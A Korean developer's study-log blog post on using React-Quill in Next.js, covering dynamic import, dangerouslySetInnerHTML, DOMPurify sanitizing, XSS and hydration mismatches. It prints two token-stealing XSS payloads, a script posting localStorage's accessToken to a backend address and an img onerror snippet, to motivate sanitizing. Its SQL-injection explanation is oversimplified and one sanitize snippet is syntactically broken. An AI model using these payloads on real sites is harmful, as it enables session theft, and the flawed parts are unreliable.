220420

solsolsol·2022년 4월 21일
0

TIL

목록 보기
27/32

Web Editor

많이 사용하는 웹에디터

  • React Draft Wysiwyg
  • React-Quill

노션과 비슷한 국내 웹에디터

  • toast ui editor

React-Quill

textarea의 형태로 onChange 실행이 가능하다.

import ReactQuill from "react-quill"

export default WebEditorPage(){
  
  return (
    <ReactQuill onChange={onChangeContents} />
    )
}

로 실행하면 document not found 에러가 뜬다. 프리렌더링 할 때는 dom이 없기 때문에 발생하는 에러다. 이 에러를 해결하기 위해서 다이나믹 임포트를 사용해준다.

import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

ssr: false 는 서버 사이드 렌더링에서 reactquill을 사용하지 않겠다는 의미다.

.....
...
..

html 태그가 문자 그대로 출력됐다. 이 상태로는 웹에디터를 쓰는 이유가 없다.

dangerouslySetInnerHTML

웹에디터로 입력한 값을 화면에서 태그가 적용된 채 출력할 수 있다.

<div 
	dangerouslySetInnerHTML={{
     __html: data?.fetchBoard.contents}}
> 
</div>

하지만 뭔가 불안하다. 이름부터 dangerously...
html 태그를 인식하다보니 로그인한 사람의 토큰을 가져오는 소스 코드를 작성할 수 도 있다.

<script>
  const token = localStorage.getItem("accessToken")
axios.post(백엔드주소, {token})
</script>

물론 react quill에서 이런 일을 방어하기 위해 직접 <> 를 입력하면 entity로 변환하게끔 한다. 하지만 playground 에서 직접 등록한다면...?

"<img src='#' onerror='console.log(localStorage.getItem(\"accessToken\"))' />"

어김없이 콘솔에 accessToken 이 찍혀 나오게 된다.

Dompurify

웹에디터로 해킹을 막기 위한 라이브러리다. dompurify 역시 dom 이 필요하기 때문에 프리렌더링 과정에서 에러가 발생한다.

{typeof window !== "undefined" && (
<div 
	dangerouslySetInnerHTML={{ 	
	Dompurify.sanitize(data?.fetchBoard.contents),}}
> 
</div>
)}

Cross-Site-Script(XSS)

위에서 언급한 내용들이 XSS다. 다시 말해 스크립트 사이에 해킹 소스 코드를 넣는 것을 말한다.

owasp top 10

자주 사용되는 해킹 기법들을 4년에 한 번씩 공개하는 것

  • XSS
  • CSRF
  • SQL-Injection

SQL-Injection

이런 로그인 로직이 있다고 하자. 그리고 이 계정을 해킹하려는 해커가 있다.

if(email === a@a.com && pw === 1234){
	// accessToken
}

비밀번호를 모르는 해커가 입력하는 건 qqq || 1===1 로 누가봐도 유저의 비밀번호 1234와는 다르다. 하지만 qqq 가 비밀번호와 다르더라도 1 === 1 이 true 가 반환되고, || 연산자 때문에 결국 비밀번호는 true 값을 가지게 되며, 로그인에 성공한다.

ORM 으로 이런 문제들이 발생하는 것을 막고 있지만 모든 걸 막을 순 없기 때문에 여전히 SQL-Injection 문제가 발생하고 있다.

CSS-Hydration

<div>
      <div style={{ color: "red" }}>작성자 : {data?.fetchBoard.writer} </div>
      <div style={{ color: "green" }}>제목 : {data?.fetchBoard.title} </div>

      {typeof window !== "undefined" && (
        <div
          style={{ color: "blue" }}
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard.contents),
          }}
        ></div>
      )}
      <div style={{ color: "brown" }}>상품가격 : </div>
    </div>

분명 각각 div마다 다른 색상을 주었는데 어라라 내용의 blue 는 어디가고 상품 가격의 brown 이 들어온 걸까

프론트엔드 서버는 태그 위치, 태그에 따른 css 를 미리 그려본(prerendering) 후에 자바스크립트는 브라우저에서 바인딩 해준다. 이 과정을 hydration 이라고 부른다.

위와 같은 문제가 일어나는 이유는 세 번째 div가 프리렌더링 과정에서 렌더링 되지 않기 때문이다. 즉, 프리렌더링 할 때 들어가는 색상은 red, green, brown 세 가지 밖에 없고 브라우저에 그려낼 때도 저 세 가지 색상만 가지고 그려내게 된다. 이러한 현상을 hydration issue 라고 부른다.

이런 경우 div 의 개수를 맞춰서 해결할 수 있다. 프리렌더링 과정에서는 내용은 그리지 않고 골격만 그리기 때문에 빈 태그를 만들어주면 된다.

// 삼항 연산자 사용하기
{typeof window !== "undefined" ? (
        <div
          style={{ color: "blue" }}
          dangerouslySetInnerHTML={{
            __html: Dompurify.sanitize(data?.fetchBoard.contents),
          }}
        ></div>
      ) : (
        <div style={{ color: "blue" }}></div>
      )}

0개의 댓글

관련 채용 정보